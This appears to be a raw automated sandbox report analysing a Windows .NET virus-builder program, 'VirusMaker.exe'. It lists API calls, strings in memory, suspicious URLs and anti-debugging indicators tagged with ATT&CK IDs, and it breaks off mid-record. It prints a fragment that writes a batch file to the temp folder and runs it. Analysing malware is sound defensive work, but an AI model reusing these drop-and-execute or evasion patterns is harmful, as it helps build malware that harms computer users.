"VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" "VirusMaker.exe" trying to access non-existent file "C:\profapi.dll" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" "VirusMaker.exe" trying to access non-existent file "C:\CRYPTSP.dll" "VirusMaker.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" "VirusMaker.exe" trying to access non-existent file "C:\DWrite.dll" "VirusMaker.exe" trying to access non-existent file "C:\TextShaping.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll.DLL" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll"34:T7df,"VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "VirusMaker.exe" trying to access non-existent file "C:\VirusMaker.exe.config" "VirusMaker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "VirusMaker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\Virus Maker" "VirusMaker.exe" trying to access non-existent file "C:\VirusMaker.INI" "VirusMaker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI" "VirusMaker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.INI" "VirusMaker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI" "VirusMaker.exe" trying to access non-existent file "C:\VirusMaker.exe.Local\" "VirusMaker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\Accessibility" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.INI" "VirusMaker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runt73a1fc9d#" "VirusMaker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.INI"35:T4a3,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007728.00000000.182418.00E40000.00000002.mdmp") Found URL "http://sajatypeworks.comhttp://sajatypeworks.comttps://scripts.sil.org/ofl-italic.comorg/ofltalicttp://sajatypeworks.comhttp://sajatypeworks.comn-utor" - Source: "00000000-00007728.00000000.182418.015C0000.00000004.mdmp") Found URL "https://scripts.sil.org/ofl(s)ktalichttps://scripts.sil.org/oflitalicf" - Source: "00000000-00007728.00000000.182418.015C0000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00007728.00000001.184339.035B0000.00000004.mdmp") Found URL "http://sajatypeworks.comhttp://sajatypeworks.comttps://scripts.sil.org/ofl-italic.comorg/ofltalicttp://sajatypeworks.comhttp://sajatypeworks.comn-utor" - Source: "00000000-00007728.00000002.186259.015C0000.00000004.mdmp") Found URL "https://scripts.sil.org/ofl(s)ktalichttps://scripts.sil.org/oflitalicf" - Source: "00000000-00007728.00000002.186259.015C0000.00000004.mdmp")36:T984,"VirusMaker.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00007728) "VirusMaker.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\* (UID: 00000000-00007728) "VirusMaker.exe" called "FindNextFileW" with parameter 8d55d7cad944a3f21aeb1db491f3d6de (UID: 00000000-00007728) "VirusMaker.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Virus Maker\* (UID: 00000000-00007728)37:T26f5,Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00007728.00000000.182418.015D0000.00000004.mdmp, 00000000-00007728.00000001.184339.015D0000.00000004.mdmp, 00000000-00007728.00000002.186259.015D0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00007728.00000000.182418.015D0000.00000004.mdmp, 00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.015D0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.015D0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "Uses RsaCryptoServiceProvider to encrypt and decrypt" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ecdsa"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.MD5Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.DpapiDataProtector, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "System.Security.Cryptography.HashAlgorithm" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp")38:T5ba,file/memory contains long string with (Indicator: "GetEnvironmentVariable"; File: "Virus Maker.exe") Found reference to API "If System.IO.File.Exists(System.Environment.GetEnvironmentVariable("TMP") & "\cmd.bat") Then" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to API "System.IO.File.Delete(System.Environment.GetEnvironmentVariable("TMP") & "\cmd.bat")" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to API "System.IO.File.WriteAllText(System.Environment.GetEnvironmentVariable("TMP") & "\cmd.bat", {BATCH})" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to API "System.Diagnostics.Process.Start(System.Environment.GetEnvironmentVariable("TMP") & "\cmd.bat")" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp")39:T7cf,Found string "Change password" (Indicator: "password"; File: "Virus Maker.exe") Found string "Change password" (Indicator: "password"; Source: "00000000-00007728.00000000.182418.02080000.00000002.mdmp, 00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.02080000.00000002.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.02080000.00000002.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp")3a:T440,file/memory contains long string with (Indicator: "\drivers\"; File: "Virus Maker.exe") file/memory contains long string with (Indicator: "system32\drivers"; File: "Virus Maker.exe") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007728.00000000.182418.015C0000.00000004.mdmp, 00000000-00007728.00000000.182418.015D0000.00000004.mdmp, 00000000-00007728.00000001.184339.015D0000.00000004.mdmp, 00000000-00007728.00000002.186259.015C0000.00000004.mdmp, 00000000-00007728.00000002.186259.015D0000.00000004.mdmp, 00000000-00007728.00000002.186259.05E50000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007728.00000000.182418.015C0000.00000004.mdmp, 00000000-00007728.00000000.182418.015D0000.00000004.mdmp, 00000000-00007728.00000001.184339.015D0000.00000004.mdmp, 00000000-00007728.00000002.186259.015C0000.00000004.mdmp, 00000000-00007728.00000002.186259.015D0000.00000004.mdmp, 00000000-00007728.00000002.186259.05E50000.00000004.mdmp")3b:T56b,System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-60000e1-Form2~InitializeComponent System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-6000139-Form6~InitializeComponent System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-600010e-Form4~InitializeComponent System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-6000172-Form8~InitializeComponent System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-6000195-Form9~InitializeComponent System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-600004e-Form1~InitializeComponent System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-60000e9-Form3~InitializeComponent System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-600015b-Form7~InitializeComponent System.Windows.Forms.Control::set_TabIndex(System.Int32) at c00845708ee4e6cbaa628a0886076c4d-6000125-Form5~InitializeComponent Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) at c00845708ee4e6cbaa628a0886076c4d-60000c3-Form1~GenerateExecutable3c:T926,"GenerateExecutable" (Indicator: "Executable") "set_GenerateExecutable" (Indicator: "Executable") "you want to utilize File and Registry Virtualization for backward compatibility then delete the requestedExecutionLevel node. --> A list of all Windows versions that this application is designed to work with. Windows will automatically select the most compatible environment.--> If your application is designed to work with Windows Vista, uncomment the following supportedOS node--> --> " (Indicator: "select") "Executable (*.exe)|*.exe" (Indicator: "Executable") "Please select a valid extension." (Indicator: "select") "Disconnect" (Indicator: "connect") "Please select valid options" (Indicator: "select") "you want to utilize File and Registry Virtualization for backward compatibility then delete the requestedExecutionLevel node. --> A list of all Windows versions that this application is designed to work with. Windows will automatically select the most compatible environment.--> If your application is designed to work with Windows Vista, uncomment the following supportedOS node--> --> \" queries volume information of \"C:\\VirusMaker.exe\" at 00010794-00003152-00000046-11549574121","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"External Systems","name":"Sample was identified as clean by Antivirus engines","description":"0/14 Antivirus vendors marked sample as malicious (0% detection rate)","origin":"External System","relevance":10,"id":"avtest-1","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"%USERPROFILE%\\Documents\\Virus Maker new 7\\Virus Maker\\obj\\Debug\\Virus Maker.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\77f338d420d067a26b2d34f47445fc51\\mscorlib.ni.dll\" at 71290000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$27","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"Virus_Maker.My\"\n Pattern match: \"http://www.w3.org/2001/XMLSchema-instance\"\n Pattern match: \"www.blackhost.xyz\"\n Pattern match: \"http://www.blackhost.xyz/prg/vm/version.txt\"\n Pattern match: \"http://www.blackhost.xyz\"\n Pattern match: \"http://www.blackhost.xyz/prg/tmx/tm\"\n Pattern match: \"http://192.168.56.152:2869/upnphost/udhisapi.dll?content=uuid:4f8e1a2d-3fec-4a15-86de-6f8fafe83a56\"\n Pattern match: \"http://[fe80::c8c7:a44f:142b:cf30]:2869/upnphost/udhisapi.dll?content=uuid:4f8e1a2d-3fec-4a15-86de-6f8fafe83a56\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"VirusMaker.exe.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"\" at 00010794-00003152-00000033-111500918839","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine 